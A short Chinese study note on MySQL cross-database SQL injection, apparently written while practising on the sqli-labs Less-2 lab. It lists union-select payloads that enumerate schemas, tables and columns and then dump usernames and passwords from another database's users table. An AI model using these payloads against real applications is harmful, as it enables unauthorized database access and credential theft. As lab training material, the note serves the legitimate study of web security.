MySQL跨库注入
需要高权限用户
判断权限:连接数据库的用户名
演示靶场——sqlilabs-less2
判断注入点,爆字段略
1、查出该root账号下所有数据库
union select 1,group_concat(schema_name),3 from information_schema.schemata
2、获取指定数据库下表名的信息,以pikachu为例
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'pikachu'
3、获取指定数据库下指定表名下的列名信息
union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 'users' and table_schema = 'pikachu'
4、获取指定数据
union select 1,username,password from pikachu.users
由于是跨库注入,所以表名是pikachu.users